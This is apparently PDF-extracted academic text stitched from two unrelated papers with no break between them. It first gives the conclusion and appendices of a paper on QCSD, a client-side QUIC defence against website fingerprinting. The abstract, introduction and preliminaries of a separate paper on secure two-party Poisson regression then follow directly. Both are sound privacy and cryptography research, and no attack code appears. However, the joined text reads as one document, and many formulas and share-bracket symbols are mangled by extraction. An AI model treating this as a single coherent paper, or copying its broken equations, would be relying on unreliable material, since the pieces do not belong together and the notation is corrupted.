dropping chaff requests, could help to reduce information
leakage in these settings when used with QCSD.

Use with other protocols QCSD’s approach to shape the
traffic from the server could be used with other application
protocols besides HTTP/3. The primary requirements would
be a common and idempotent method for the client to re-
quest data from the server and the possibility for the client to
determine the volume of incoming data on a stream.

Suggested extensions to QUIC Many of the challenges in
this work revolved around getting the server to send chaff
at the client’s behest. Despite TLS 1.2 already supporting
chaff data on connections, to date there has been no means
for an endpoint to request chaff from its remote peer. It is
also not possible to request that the peer pads packets to a
specified length. With the advent of QUIC and its ability for
rapid deployment of extensions, these two features could be
feasibly implemented as QUIC extensions. Together, they
would provide core building blocks for a client to defend
itself against network-based website-fingerprinting attacks.

A need for more accurate simulations Numerous defences
in the website-fingerprinting literature use simulation to eval-
uate their overhead [8], [18], [22]–[24]. For defences that only
add chaff traffic, such simulations can be an accurate means
of determining the overhead. However this approach is inac-
curate for defences that delay the traffic. Without considering
the dependency between incoming and outgoing packets it
is not possible to accurately estimate the impact caused by
the delay of a single packet on subsequent packets, and thus
the total time and bandwidth overhead of the defence. More
accurate estimations could be found by requiring either all
preceding packets, or those within some threshold to have
been transmitted under simulation before scheduling a packet,
thereby more accurately simulating the introduced delays.

Limitations Our approach has a few limitations. First, we
rely upon servers’ behaviour of adding multiple stream frames
to the same packet, and were otherwise unable to strictly
pad individual server packets, as opposed to bursts. Second,
servers may limit the number of streams that a client can open,
thus restricting the number of chaff streams. This, however,
can be mitigated by caching resource lengths across web-
page loads to most effectively utilise the available streams.
Third, we do not currently shape unidirectional streams from
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the client or server. Unidirectional streams are used to sat-
isfy HTTP/3 push promises and to transfer HTTP/3 control
messages between the client and server. While we simply
disabled HTTP/3 push promises and allowed the settings to
be transmitted as normal, these streams could also be shaped
in a similar approach to bidirectional streams. And finally,
we did not shape resources that are loaded over TCP, but we
expect a general transition to and preference of QUIC for all
encrypted communication as more servers deploy QUIC.

8 Conclusions

In this work, we designed a QUIC client-side defence frame-
work (QCSD) that enables emulating website-fingerprinting
defences without requiring any changes to servers or the de-
ployment of new services. We implemented and evaluated
QCSD, which shows great promise in enabling clients to enact
defences from the browser or application, without needing to
make any changes to existing server stacks. Our evaluations
of QCSD show that not only can it orchestrate chaff defences
such as FRONT, matching both the chaff-specification and
the levels of protection provided by the conceptualised de-
fence, but also to orchestrate chaff-and-shape defences such
as Tamaraw. We anticipate that QCSD represents a promising
direction for future work on deployable defences.
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A Website-Fingerprinting Defences

In this section we define the defences used throughout the
paper in more detail.

FRONT The FRONT defence by Gong and Wang [18]
obfuscates the feature rich front segment of communication
without otherwise delaying the traffic sent by the endpoints. It
does so by adding nc and ns chaff packets from the client and
server respectively with timestamps selected according to the
Rayleigh distribution, so as to prioritise adding the packets at
the beginning of the communication. These timestamps are
given by

f (t;w) =

{
t

w2 e−t2/2w2
t ≥ 0,

0 t < 0

for wc,ws ∼ U (Wmin,Wmax), nc ∼ U{1,Nc}, and ns ∼
U{1,Ns} sampled from continuous and discrete uniform dis-
tributions with defence parameters Nc,Ns,Wmin,Wmax.

Tamaraw The Tamaraw defence by Cai et al. [22] sends
traffic in fixed-size packets (750 bytes) and at fixed intervals.
Tamaraw sends packets from the client to the server at a rate
of ρout seconds per packet, and from the server to the client at
a rate of ρin seconds per packet. The values ρin and ρout are
chosen such that ρin < ρout, since web servers often have more
data to transmit than web clients. Additionally, in Tamaraw,
the number of packets sent in each direction is padded to a
multiple of L packets. This helps mask the total transmission
time of web pages, and partitions the set of all web pages into
anonymity sets based on their transmission time.

B Selecting and Using Chaff

In this section, we motivate QCSD’s use of chaff resources
and describe the selection of chaff resources and the process
behind tracking and controlling streams.
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B.1 Rejected Sources of Chaff
There are three possible sources of data that a server may trans-
mit as chaff or padding: arbitrary (e.g., random or constant-
valued), control, or application data. QUIC provides PADDING
frames of null data but QUIC endpoints are unable to request
that these frames be sent by their remote peer. Additionally,
although QUIC has an assortment of control frames that may
be sent from the server in response to a message from the
client, none of these control frames invoke a sizeable response
from the server without an equally sized message from the
client. We therefore leverage application data to provide chaff
traffic from the server to the client.

Application data can take two forms, either new data or
retransmissions. Retransmissions are performed by the re-
mote endpoint if data is considered lost, and is employed in
HTTPOS [25] as a means of adding chaff to a connection.
Each loss event, however, results in a reduction of the trans-
mission rate from the server. Not only does this rate reduction
negatively impact the ability to generate more chaff packets,
and thus to shape the connection, but an adversary may also
be able to identify the chaff due to the change in transmission
rate. Furthermore, QUIC detects losses at the granularity of
packets, not bytes of data, we would therefore need to induce
packet losses that sum towards our desired amount of chaff.
Consequently, we leverage new data in form of chaff streams
to pad bursts and add chaff traffic originating from the server.

B.2 Selecting Chaff Resources
In our evaluations, we utilised the knowledge of the resources
from the collected dependency graphs to select the initial
resources used to provide chaff, namely, the resource type and
observed length. Given a potential set of chaff resources, we
prioritised images, as they are relatively static and can provide
large amounts of data when uncompressed, followed by fonts,
scripts, and style-sheets, and finally HTML documents, as they
may be dynamically generated. In a real-world deployment,
information about the potential chaff resources located at a
domain, along with HTTP cache-control details, could be
cached from previous connections to the domain, and would
thus be available to QCSD at the start of a new connection.

B.3 Tracking and Controlling Streams
Accurately shaping a connection requires knowledge of the
amount of data available at the remote server. QCSD therefore
tracks information about application and chaff streams that
are opened by the client and the framework. It considers a
stream to be either throttled or unthrottled. A throttled stream
is a stream for which QCSD controls the server’s release of
data, such as a chaff stream or an application stream being
manipulated. An unthrottled stream is one that is not being
manipulated, but for which we would like to track the resource
length, such as all application streams in chaff-only mode.

Figure 7 shows the state transitions of the receiving side of
a stream tracked by QCSD. QCSD begins tracking a stream
once an HTTP-GET request has been prepared for a resource,
and a new QUIC stream has been created at the client to
transfer the request. Tracking ends once the FIN bit has been
received or an error is encountered on that stream.

Throttled streams When the first byte is sent on a throttled
stream, QCSD considers it to be receiving HTTP/3 headers.
In this state, data is slowly released until the length of the
resource is discovered. QCSD discovers the length of the
resource when the stream encounters the length of an HTTP/3
data frame which signifies the start of the HTTP payload. At
this point the stream is considered to be throttled but receiving
data. The resource of a throttled stream that never arrives at
the receiving data state has no length and is thus avoided
when re-requesting resources on future chaff streams.

To receive data on a throttled stream while shaping the
connection, QCSD increases the amount of flow-control
credit provided to the server on that stream by sending a
MAX_STREAM_DATA (MSD) frame with the new limit. In the
ideal world, the client would know exactly how much data is
available at the server to be pulled. Unfortunately, in reality
the size of the stream is often unknown, which can result in
requesting more data than the stream is able to provide. The
difference between the amount requested and the data pro-
vided leaks information about the length of a stream. To avoid
this, for each throttled stream QCSD tracks the current amount
of flow control that has been released to the server, msd, the
maximum amount of data it knows to be available on the
stream, limit, and the amount of data consumed, c. As data is
read from the QUIC stream at the receiver QCSD increases c;
and each time that an HTTP/3 frame header is parsed indicat-
ing the length of the HTTP/3 frame, QCSD updates the known
length of the stream, limit, accordingly. This knowledge is
further supported by the HTTP content-length header that,
if provided in the response header from the server, identifies
the length of the resource that will be transmitted. The dif-
ference between the amount we know to be available and
the current max stream data offset, i.e., limit −msd, is the
available capacity of that stream to be used for shaping.

At times, servers may refuse to send any data for a stream
unless some minimum amount of flow credit is available. We
therefore specify a value, excess, that defines an amount of
data that QCSD assumes the server will have available on
the stream, beyond the known outstanding volume of data.
QCSD ensures that limit is always at least c+excess, thereby
allowing the client to provide MSD to the server to send any
remaining data. Discovery and tracking of the amount of
data to be delivered on the stream allows us to limit the role
this plays in transmission, as for most of the transmission
limit� c+ excess.
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Figure 7: State transitions for chaff and application streams in QCSD. Denoted are the current max stream data offset, msd,
the amount of bytes believed to be available at the server, limit, the amount of data consumed by the client on the stream,
c, and the amount of data observed on the stream, d. Annotations are of the form “triggering event / resulting action”, with
the actions marked as A1–A4 denoting A1: limit ← max{limit,c+ x}; A2: c← c+ x, limit ← max{limit,c+ excess}; A3:
limit←max{limit,x}; and A4: msd← msd +max{limit−msd,x}, send MAX_STREAM_DATA{msd}.

Unthrottled streams When the first byte is sent on
an unthrottled stream, QCSD immediately sends a
MAX_STREAM_DATA frame to increase the low initial max
stream data offset set during initialisation. The max stream
data offset is increased to allow the server to send as much
data on the stream as in an unmodified QUIC connection.
Further releases of max stream data is then handled by the
original QUIC client logic. QCSD also begins tracking the
amount of HTTP payload seen on that stream. Once this
has been determined, the resource that was loaded over that
unthrottled stream can be re-requested on a chaff stream.

C Further Details on Dataset Collection

QCSD shapes live QUIC connections and thus required a
collection of QUIC-enabled web pages on which to be evalu-
ated. We therefore identified a set of domains from the Alexa
top 1m list [52] that supported QUIC and which version of
the protocol each supported. To do so, we requested the web
page in Python using HTTPS over TCP and recorded the
HTTP alt-svc record with which web servers identify other
supported protocols. We then filtered the results to web pages
that advertised the “h3-29” tag, i.e. HTTP/3 over IETF QUIC
draft-version 29, as this was the latest version supported by the
underlying QUIC library that we used. Certain domains, such
as *.blogspot.com and *.appspot.com, proved prevalent
in our results and were therefore downsampled. Next, we
requested these web pages using QUIC in Chromium (com-

mit 870763) and logged the resources requested during the
loading of the page. From these logs, we created a depen-
dency graph of requested resources. We considered a URL
A a dependency of URL B if A was an HTTP referrer of B,
if A initiated the request of B (such as through include state-
ments in CSS), or if B’s request was the result of a sequence
of JavaScript function calls that included the script at URL
A. We filtered this graph to only URLs with the same origin
of the final redirected URL (and thus be requested over the
same connection) and removed graphs that redirected to the
same page. Finally, these dependency graphs were passed
to our test client to collect the actual network trace; and for
each trace, we recorded the packet sizes and timestamps at
the client using the tcpdump network monitoring utility.

D Hyperparameter Optimisation

For each of the three machine-learning evaluation scenar-
ios (single-connection, multi-connection, and full web-page
loads), we performed modest hyperparameter tuning to ex-
plore the potential for improvements in the attacks against
QCSD defended traces. For each attack and dataset we per-
formed a grid search over the selected hyperparameters and
measured the mean F1-score (using r20-precision and recall)
for each parameter combination using 3-fold cross-validation.

For the k-fingerprinting attack the parameters selected were
the number of nearest-neighbours {2,3,6} used to vote on a
class label and, in the underlying random forest, the number
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Table 3: Median overheads and their lower and upper quartiles
for FRONT and Tamaraw in the multi-connection setting.
Simulation overheads marked with ∗ were computed using
Cai et al.’s Tamaraw simulation [22].

FRONT Tamaraw

Bandwidth
Defended 1.29 (0.60–3.45) 6.13 (3.17–13.12)
Simulated 0.90 (0.39–2.40) 4.88 (2.47–10.92)

– ∗0.86 (0.36–2.26)
Latency

Defended −0.05 (−0.15–0.08) 6.64 (2.98–11.86)
Simulated 0.00 ∗0.91 (0.17–2.92)

of estimators ∈ {100,150,200,250}, the number of sampled
features per estimator ∈ {2,12,20,30}, whether to use out-of-
bag scoring, and the fraction of samples on which to train each
estimator ∈ {0.5,0.75,0.9,1.0}, as they have been shown to
provide the greatest benefit [56]. Scoring all 384 parameter
combinations under 3-fold CV required around 40 minutes for
each defended and undefended dataset on a server equipped
with 2 Intel Xeon Gold 6242 CPUs (2.80 GHz, 64 cores).

For the time and size classifiers of the Var-CNN attack and
for the Deep Fingerprinting attack, we tuned the number of
packets used as features to these classifiers, as the defences
increased the number of packets transmitted and thus may
have shifted important features. We therefore evaluated each
classifier with 5000 (original), 7500, and 10000 packets. Scor-
ing all 3 parameter combinations under 3-fold CV for each
defended dataset and classifier required from 2 to 5 hours on
an NVIDA GeForce RTX 3060 (2021, 12 GB). Undefended
datasets were evaluated on parameters taken from the original
attack papers and so the measured efficacy of the attacks on
these datasets are more conservative.

E Overhead in the Multi-connection Setting

We evaluated the bandwidth and latency overhead in the multi-
connection setting by collecting 500 additional web pages.
For each defended version of the web page, an undefended
sample was collected immediately afterwards and the relative
increase in latency and bandwidth was calculated as described
in Section 5. The results shown in Table 3 are in accordance
with the shift from the single to multi-connection. For FRONT,
increasing the application data while sampling the amount of
chaff from the same distribution resulted in a slight decrease
in the relative bandwidth overhead. For Tamaraw, an increase
in the bandwidth overhead was observed with a decrease in
the latency overhead.
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Figure 8: Distribution of the 586 failures across the ∼10,800
Alexa domains requested with FRONT. Samples in each bin
were weighted according to the frequency of QUIC domains
observed in that bin, and show a trend towards less popular
domains having more failures.

F Server Compliance with Shaping

Despite being complaint with the QUIC standard [45], QCSD
may encounter web servers whose parameters or configura-
tion prevents shaping of the connection. This may take the
form of, for example, insufficient stream numbers allocated by
the server, or connection closure due to server disagreement
with the QUIC transport parameters. We therefore recorded
the failure rate of web-page downloads when collecting the
datasets used for the single-connection machine-learning eval-
uations from Section 6.1.

Across the 10,790 web pages downloaded with FRONT,
only around 5.43 % of the attempted downloads failed that
did not also fail when not shaping the traffic. Meanwhile,
among the around 13,200 web pages that loaded with Tama-
raw, 5.81 % failed after accounting for timeouts in our collec-
tion procedure (22.70 % without), which were due to down-
loads exceeding 2-minutes as a result of the cumulative delays
introduced by Tamaraw, as discussed in Section 5. Further-
more, these failures had a higher density among the less pop-
ular Alexa domains, as seen in Figure 8.

With a failure rate less than 6 %, QCSD is accepted by most
servers that already deploy QUIC; and has greater potential
for deployment than existing website-fingerprinting defences.
Furthermore, since it utilises standard-compliant features of
the protocols, we anticipate that success rates will increase as
implementations transition towards the standard.
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Abstract
We introduce the first construction for secure two-party com-
putation of Poisson regression, which enables two parties who
hold shares of the input samples to learn only the resulting
Poisson model while protecting the privacy of the inputs.

Our construction relies on new protocols for secure fixed-
point exponentiation and correlated matrix multiplications.
Our secure exponentiation construction avoids expensive bit
decomposition and achieves orders of magnitude improve-
ment in both online and offline costs over state of the art
works. As a result, the dominant cost for our secure Pois-
son regression are matrix multiplications with one fixed ma-
trix. We introduce a new technique, called correlated Beaver
triples, which enables many such multiplications at the cost of
roughly one matrix multiplication. This further brings down
the cost of secure Poisson regression.

We implement our constructions and show their extreme
efficiency. In a LAN setting, our secure exponentiation for
20-bit fractional precision takes less than 0.07ms with a batch-
size of 100,000. One iteration of secure Poisson regression
on a dataset with 10,000 samples with 1000 binary features
needs about 65.82s in the offline phase, 55.14s in the on-
line phase and 17MB total communication. For several real
datasets this translates into training that takes seconds and
only a couple of MB communication.

1 Introduction

Privacy preserving computation technologies aspire to en-
able a wide range of modern computations used to analyze
data, while providing strong privacy guarantees for the in-
put data, which is often partitioned across multiple parties.
Approaches based on cryptographic techniques for secure
multiparty computation (MPC) have maintained the invariant
of strong privacy guarantees while progressively supporting
more complex functionality. In recent years, such approaches
have taken on some of the most powerful available tools for

∗Part of this work was done during an internship at Google.

data analysis which come from machine learning (ML). These
tools bring functionalities with new levels of complexity to
be supported in secure computation.

Existing MPC systems that support ML computations
have mostly considered algorithms that aim to solve clas-
sification tasks, the most prominent of which are neural net-
works [4,19,24,28]. In this work, we focus on a different type
of computation: modeling Poisson processes. These processes
are used to represent counts of rare independent events which
happen at random but at a fixed rate. In such a process, the
rate of events can be characterized by an underlying Poisson
distribution. Poisson distributions are used to describe pro-
cesses across many life and social sciences. Some examples
include the number of bacteria over time in a petri dish, the
number of mutations of a strand of DNA of a certain length,
the number of losses and claims in insurance policies in a
certain period of time, and the number of purchases a user
makes after being shown online advertisements.

It is common to model response variables that follow the
Poisson distribution by assuming their dependence on a set
of explanatory (predictor) variables. Specifically, it is often
assumed that the logarithm of the expected response is some
linear combination of the explanatory variables. In this set-
ting, the relationship between a response variable and the
corresponding explanatory variables can be learned using
Poisson regression. When the explanatory variables represent
features which are conjectured to affect the counts, the regres-
sion model can be interpreted as uncovering the statistical
significance of the effect of different features on the response
variable. For example, Poisson regression has been used to
model the dependence of the mortality rate from lung cancer
on the age and smoking habits of people [13], the frequency at
which voters engage in political discussion as a function of the
method they use for voting (e.g., in person or by mail), their
demographics, political affiliations, news exposure and oth-
ers [25], the effect of age, gender, preexisting conditions such
as diabetes and obesity on the mortality rate from COVID-
19 [27], predicting the number of payment defaults in credit
scoring based on socio-economic characteristics [18], and the
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number of purchases that users make influenced by online
advertisements they have been shown [26].

Traditionally, Poisson regression is performed by collecting
all the examples (observed response variable counts together
with the observed explanatory variable values), and perform-
ing training. However, in many of the above examples the
information reflected in the predictor variables comes from
different sources that hold health and financial data, which is
highly sensitive information that is often subject to privacy
regulations. Thus, while the final output model could be a use-
ful tool for drawing insights about the underlying processes
and events, providing the input data in the clear for the train-
ing is not an option. In this paper, we propose a solution that
enables the computation while keeping all the inputs hidden
from the parties performing the computation, revealing only
the final Poisson regression model.

We introduce a system for secure computation that enables
two parties who hold different parts of the training samples to
compute the final Poisson model. We assume the most general
setting where the two parties hold cryptographic shares of the
input training data, and obtain cryptographic shares of the re-
sulting model. This representation can capture any partition of
the input among the parties and also enables computation with
the output model that does not reveal the model parameters to
either party. Our new two party computation construction for
Poisson regression leverages several new constructions for
its building block components that offer improved efficiency.
These functionalities have numerous uses beyond Poisson
regression and thus are of independent interest as tools for
secure computation.

Secure Exponentiation. A key component of Poisson re-
gression involves the exponential (ex) function. This step
constitutes the nonlinear portion of Poisson regression and
is not part of existing MPC implementations for ML func-
tionalities. Nonlinear computations have traditionally been
very challenging for secure computation techniques, since
such techniques are generally better suited for evaluating lin-
ear functions or low-degree polynomials. Indeed, in existing
MPC frameworks for ML functionalities [4,19], the nonlinear
components of the computation (e.g., the logistic function or
the RELU function) are the core challenge that these works
solve, and they contribute the most significant part of the cost
of the final constructions. Adding to the challenge is the fact
these nonlinear functions work on real numbers, which are
quite difficult to support in MPC. Most approaches replace
the nonlinear function with an approximation such as a low-
degree polynomial or a piecewise linear function, which is
easier to evaluate in MPC. However, such approximations
could lead to significant degradation in the quality of the
learned model (i.e. higher model error compared to training
in the clear), and thus, the evaluation of the resulting construc-
tions needs to consider jointly efficiency and accuracy.

In our work, we present a new construction for secure fixed-
point exponentiation. It leverages a close approximation of the

exact function with high precision that enables a significant
efficiency improvement compared to existing constructions.
In particular, all existing secure exponentiation approaches
rely either on inaccurate polynomial approximations, or on
bit decomposition of the exponent, which comes with a signif-
icant computation and communication cost. Our techniques
avoid this multi-round computation step by leveraging ideas
that enable the parties to obtain approximate multiplicative
shares of the output only with local operations. We can control
the accuracy and failure probability by appropriate parameter
adjustment, only assuming knowledge of bounds on the input
range. These bounds arise naturally in the context of Poisson
regression. We introduce a new way to split the computation
of the exponentiation into computation that depends only on
the integer part of the exponent and computation that depends
only on the fractional part of the exponent. Furthermore, we
provide a novel way to combine the two computations with
only local operations to obtain multiplicative shares of the out-
put. Our only communication requirement is to transform the
multiplicative shares of the output of the exponentiation into
additive shares, which can be used for any further computa-
tion. For this, we leverage an existing protocol from Ghodosi
et al. [14] that relies on a small amount of offline precompu-
tation and a single round of online computation.

Since there are no prior works that consider (fixed-point)
exponentiation in the two-party semi-honest model, as com-
parison points, we consider state-of-the-art works that achieve
a similar functionality in the malicious setting [9,10] or in the
semi-honest setting for n ≥ 3 parties using a floating-point
representation [7]. Although the comparison is not direct (see
Section 7.1 for details), our protocol achieves orders of mag-
nitude improvement on both the online throughput and the
offline cost which indicates the possibility of substantial gains
even when comparing in the same setting. In terms of accu-
racy, we can tune the parameters of our construction so that
the output is arbitrarily close to the “true” exponentiation on
the values in the clear without significant efficiency penalty
(for example we can go from error 0.006% to error 0.0002%
with 5 additional bits of precision). Our construction is so
efficient that the nonlinear component of our Poisson regres-
sion protocol is no longer the cost bottleneck, and no longer
degrades the quality of the computation, which stands in stark
contrast to other works in the area of secure ML.

Optimized Secure Matrix Multiplication. Poisson regres-
sion makes extensive use of matrix multiplications. For secure
multiplication on shared values, a well-known work [11] uses
precomputed random Beaver triples followed by a single on-
line communication round. In similar fashion, state of the art
techniques for secure matrix multiplication [19] generalize
Beaver triples to matrices and optimize the online communica-
tion and amount of preprocessing required; only one (matrix)
Beaver triple is required for each matrix multiplication.

We make the observation that the matrix multiplication
operations used in the Poisson regression training have a spe-

792    31st USENIX Security Symposium USENIX Association



cific structure that can be exploited to further optimized the
communication cost of the matrix multiplications: the same
matrix X is used in many multiplications with many differ-
ent matrices Yi. While we can use independently generated
Beaver triples for each multiplication, we show a more effi-
cient way to precompute multiplication triples which takes
advantage of the structure of the online matrix multiplica-
tions. We call these correlated Beaver triples, and they enable
multiple online multiplications with the same matrix.

Using correlated Beaver triples results in improvements
in the online phase: the communication cost is reduced by
up to a factor of (n+ 1) (where n is the number of training
samples; see Section 5). Thanks to our very efficient secure
exponentiation, the dominant cost (more than 90% for both
computation and communication) in the secure Poisson re-
gression protocol comes from secure matrix multiplication
operations. Consequently, the use of correlated Beaver triples
translates directly to a significant overall improvement of the
cost of the whole secure Poisson regression protocol.

Experimental Results. We implemented all our construc-
tions and provide detailed benchmarking. Our secure exponen-
tiation protocol achieves significant efficiency improvements
over existing approaches. Our implementation uses 127-bit
modulus for the computation field, which suffices for our Pois-
son regression evaluation. For this modulus, in a LAN setting
with 1.5GB/s bandwidth, secure exponentiation for shared
exponents with 20-bit precision takes less than 0.07ms when
100K evaluations are batched for communication. SCALE-
MAMBA [10], which offers malicious security but is our most
relevant point of comparison, uses a larger 245-bit modulus
and a 40-bit precision, partly motivated by numerical insta-
bility for smaller sizes. Our construction does not have such
instabilities and achieves online throughput that is 200x more
efficient. The improvement in the offline phase is even greater,
where our protocol requires 2000x less offline preprocessing
and has a 500,000x improvement in offline computation.

We evaluate our secure Poisson regression implementa-
tion using three real datasets: Somoza’s data on infant and
child survival in Colombia, time to Ph.D. data, and data on
the three-year survival status of breast-cancer patients [1].
We further evaluate the scalability of our system using larger
synthetic datasets. The accuracy of our secure regression is
essentially identical to that of plaintext computation of the
regression. In our LAN setting, the total training (with 1000
iterations) for each of the three datasets takes less than 8s
in the online phase, 120s in the offline phase, and 121MB
total communication. The computation and communication
overhead for our construction scales roughly linearly with
the size of the training data. For a dataset with 10,000 sam-
ples with 1000 binary features, and evaluation with a 127-bit
modulus and 20-bit fractional precision, one training itera-
tion requires 65.82s in the offline phase, 23.73s in the online
phase and 17MB total communication. We also estimate the
efficiency for secure Poisson regression for datasets used to

predict COVID-19 case fatality rate, credit default rates and
ad campaign conversion rates (see Section 8).

2 Preliminaries and Background

Basic notation. Z denotes the integers and R denotes the
real numbers. ZN denotes the ring of integers modulo N. For a
prime q, Fq denotes the field with q elements, and F×q denotes
its multiplicative group. We use bold uppercase letters (e.g.,
M) to denote matrices and bold lowercase letters (e.g., u,v) to
denote (row) vectors. Throughout the paper, e denotes Euler’s
constant. In some places, we abuse function notation slightly,
and write f (u) to denote the vector resultant from applying f
to each element in u separately.

2.1 Poisson Regression and Gradient Descent

Poisson regression. Regression is a common statistical tech-
nique to learn a function g(xi)≈ yi, given n training samples
xi (each with m features), and corresponding output labels
yi. Different forms of regression model different classes of
functions g. For example, machine learning has extensively
used linear regression (to model linear outputs) and logistic
regression (to model binary outputs).

When the response variable y is count or rate-based (rather
than continuous), using Poisson regression makes more sense.
For Poisson regression, the expected response is modeled as a
Poisson distribution, and therefore, g(xi) = e〈θ,xi〉, where θ is
the coefficient or weights vector, and 〈·, ·〉 is the dot product.
Rate-data can be modeled by an extra multiplicative factor ti
denoting the time “exposure” for each sample over which the
response variable was computed.
Gradient descent. Gradient descent is a standard machine
learning techniques used to train a model iteratively. A model
can be defined by a set of parameters θ = (θ1, · · · ,θm). To
learn the model parameters from data, the algorithm iteratively
attempts to minimize a predetermined convex function. At
each step, the parameters are updated based on the gradient.

In this paper, we focus specifically on Poisson regres-
sion with exposure, which allows for modeling of rate-based
data. For this, training data is provided as (X,Y,T), where
X ∈ Rn×m contains data for the explanatory variables, Y ∈
(R+)n×1 contains data for the response variable, and T ∈
(R+)n×1 is the exposure data. n is the number of training sam-
ples and m is the number of features (or explanatory variables).
Poisson regression attempts to learn model parameters θ, by
minimizing −L(θ|X,Y,T) where L(·) is the log likelihood
function. For this, the gradient will be computed as:

∂L(θ|X,Y,T)
∂θ

=
n

∑
i=1

xi(yi− tie〈θ,xi〉)

where (xi,yi, ti) is the ith data point. The training will now
update the parameters iteratively. For the (k+1)th iteration,
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θ
(k+1) is computed as follows:

θ
(k+1) = (1−β)θ(k)+αXT

(
Y−T◦ eXθ

(k)
)

where the exponential function is applied to each element in
Xθ

(k), ◦ is the Hadamard (element-wise) product and the con-
stants α and β denote the learning rate and the regularization
parameter respectively. θ

(0) is usually initialized either as the
zero vector, or with random weights.

2.2 Secure Computation Functionalities
Secure computation protocols enable functionalities where
parties can compute a function on their joint private inputs
in a way that only the final output is revealed to them. Our
protocol constructions are in a two-party setting and provide
semi-honest security [15], i.e., the parties are assumed to
follow the prescribed protocol. We denote the two parties by
P0 and P1. We use JxKZN to denote an (additive) sharing of x
over ZN . We drop the superscript when it is clear from context.
We write JxK= (JxK0 ,JxK1) where P0 holds JxK0 and P1 holds
JxK1 such that JxK0 + JxK1 = x mod N. The sharing is chosen
randomly, for example by first choosing JxK0 uniformly at
random in ZN and then assigning JxK1 = x− JxK0 mod N.

We use the notation F(JxK ,JyK) to denote that P0 and P1
engage in a computation of some functionality F , with P0
contributing JxK0 and JyK0 as input, and P1 contributing JxK1
and JyK1 as input, with each party receiving its corresponding
secret shares of the result as output.
Multiplication using Beaver triples. Given JxK and JyK
(over ZN), a common technique to compute JzK = JxyK is
Beaver’s multiplication trick [11]. For this, a randomly sam-
pled Beaver triple (JaK ,JbK ,JcK), where c = ab mod N is pro-
vided to the two parties. Now, P0 and P1 first locally compute
JuK = JxK− JaK and JvK = JyK− JbK. Next, they reconstruct
u and v by communicating their share to the other party. Fi-
nally, Pi can compute JzKi = i ·uv+uJbKi+vJaKi+JcKi. Note
that the same technique works for multiplying fixed-point
numbers. Each secure multiplication needs a preprocessing
of 3 ring elements per party, and has an online communica-
tion of 2 elements per party. We use Fmult(JxK ,JyK) to denote
executing the secure multiplication functionality.

An optimization in [19] shows that for secure matrix multi-
plication, given JXK and JYK where X has dimension n×m
and Y has dimension m×k, the preprocessing and online costs
per party are (nm+mk) rings and (n+m)k group elements
respectively. This involves sharing a matrix Beaver triple
(JAK ,JBK ,JCK) where A and B are matrices with the same
dimension as X and Y respectively, and C = AB mod N. We
use FmatMult(JXK ,JYK) to denote executing the secure matrix
multiplication functionality.

We use standard Ring-LWE based techniques to generate
the Beaver triples, and compress the real number of bits re-
quired for preprocessing and communication. A background
on Ring-LWE is provided in Appendix B.

3 Secure Computation over FP Rings

Poisson regression operates over the real numbers. When the
computation is done in the clear, one can leverage floating
point representation to achieve high precision. For secure
computation, while there are techniques that emulate floating
point representation [7], they are often expensive. A more
efficient approach that is commonly used is to adapt the actual
computation to work with fixed-point representation while
preserving accuracy. We adopt this approach in our work as
well and similarly to other works [19], we will compute over
fixed-point numbers mapped onto an integer ring.

Fixed-point ring. A fixed-point ringR is a tuple (Z2l , lx, l f )
where lx, l f are positive integers with l f ≤ lx≤ l−1.Rwill be
used to represent fixed-point numbers with at most l f (binary)
fractional bits, and whose absolute value is less than 2lx−l f .
Non-negative numbers will be in the rangeR+

∗ = [0,2lx) and
negative numbers will be in the rangeR−∗ (2l−2lx ,2l) in their
two’s complement representation.R∗ =R+

∗ ∪R−∗ is the total
part ofR wherein the fixed-point numbers are represented.

For a real r, with |r| < 2lx−l f , we use the hat operator, as
in r̂, to denote its representation in the ring R. Note that
r̂ =
⌊
2l f · r

⌋
when r≥ 0 and r̂ = 2l−

⌊
2l f · |r|

⌋
when r < 0. For

example, inR= (Z210 ,3,2), x = 1.25 will be represented in
R by x̂ =

⌊
22 ·1.25

⌋
= 5, and y =−1.25 will be represented

by ŷ = 210−
⌊
22 ·1.25

⌋
= 1019. Note that something like

z = 1.26 will also be represented by ẑ = 5 due to truncation.
Similarly, for a ring element x ∈R∗, we will use the under-

tilde operator, as in ˜x, to denote its canonical real number
representation. By canonical, we mean the real number which
gives no truncation error when represented in the ring. For
instance, in the previous example, ˜5 = 1.25 and not 1.26.

Secure operations. We define secure arithmetic operations
on values that have been secret shared between P0 and P1. We
distinguish between two types of operations: (1) Basic ring
operations are operations over shares in the ring Z2l treating
elements as integers; (2) Fixed-point or FP operations, on the
other hand, are operations that manipulate shares in the ring
Z2l , treating the underlying elements as fixed-point numbers.
For a given R = (Z2l , lx, l f ), we will use JxKR or JxKZ2l to
denote additive shares of x ∈ Z2l . With this notation, we now
define some basic useful secure ring operations.

1. Basic operations:
• (Addition). Given shared values JxK and JyK,

Add(JxK ,JyK) outputs Jx+ yK.
• (Multiplication). Given shared values JxK and JyK,

Mult(JxK ,JyK) outputs JxyK.
Addition can be done non-interactively by each party lo-
cally adding its shares modulo 2l . Multiplication is modulo
2l and can be done in one round using Beaver triples.

2. Fixed-Point operations: These operations are for elements
in R∗. Intuitively, the functionality here can be thought
of as first retrieving the real numbers corresponding to
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the ring elements (using the under-tilde operator), then
computing the result in real numbers, and finally casting
back into the fixed-point ring (using the hat operator).

• (FP Addition). Given shared values JxK and JyK,

FPAdd(JxK ,JyK) outputs
r

̂(˜x)+ (̃y)
z

.
• (Public FP Multiplication). Given JxK and a public ele-

ment c ∈R∗, PubFPMult(JxK ,c) outputs
r
(̂˜c)(˜x)

z
.

• (FP Multiplication). Given shared values JxK and JyK,
FPMult(JxK ,JyK) outputs

r
(̂˜x)(˜y)

z
.

• (Public FP Division). Given JxK and a public positive
integer c ∈ Z+, PubFPDiv(JxK ,c) outputs

r
(̂˜x)/c

z
.

• (FP Exponentiation). Given a public positive base
element b ∈ [0,2lx), and a shared exponent JxK,

FPExp(b,JxK) outputs
r
(̂˜b)(˜x)

z
.

Note that the basic addition and multiplication operations are
over Z2l but for FP operations, they are over reals. It is easy
to see though that Add and FPAdd provide the same function-
ality when the underlying shares represent valid fixed-point
elements. To avoid overflow for FP operations, we will re-
quire that the underlying real numbers represented by any FP
operation will still be smaller in absolute value than the 2lx−l f .
In practice, this can be done be choosing a large enough ring
to handle the range of values necessary for any computation.

Similar to the basic operations, FPAdd can be done non-
interactively, and FPMult can be done using Beaver triples.
Due to truncation, FPMult can have an error of at most 2−l f in
the underlying computation. Public fixed-point multiplication
and division can both be done non-interactively with an error
of at most 2−l f , and we provide protocols to do so in Ap-
pendix A. The exponentiation protocol is a novel contribution
of our paper and we provide the full details in Section 6.

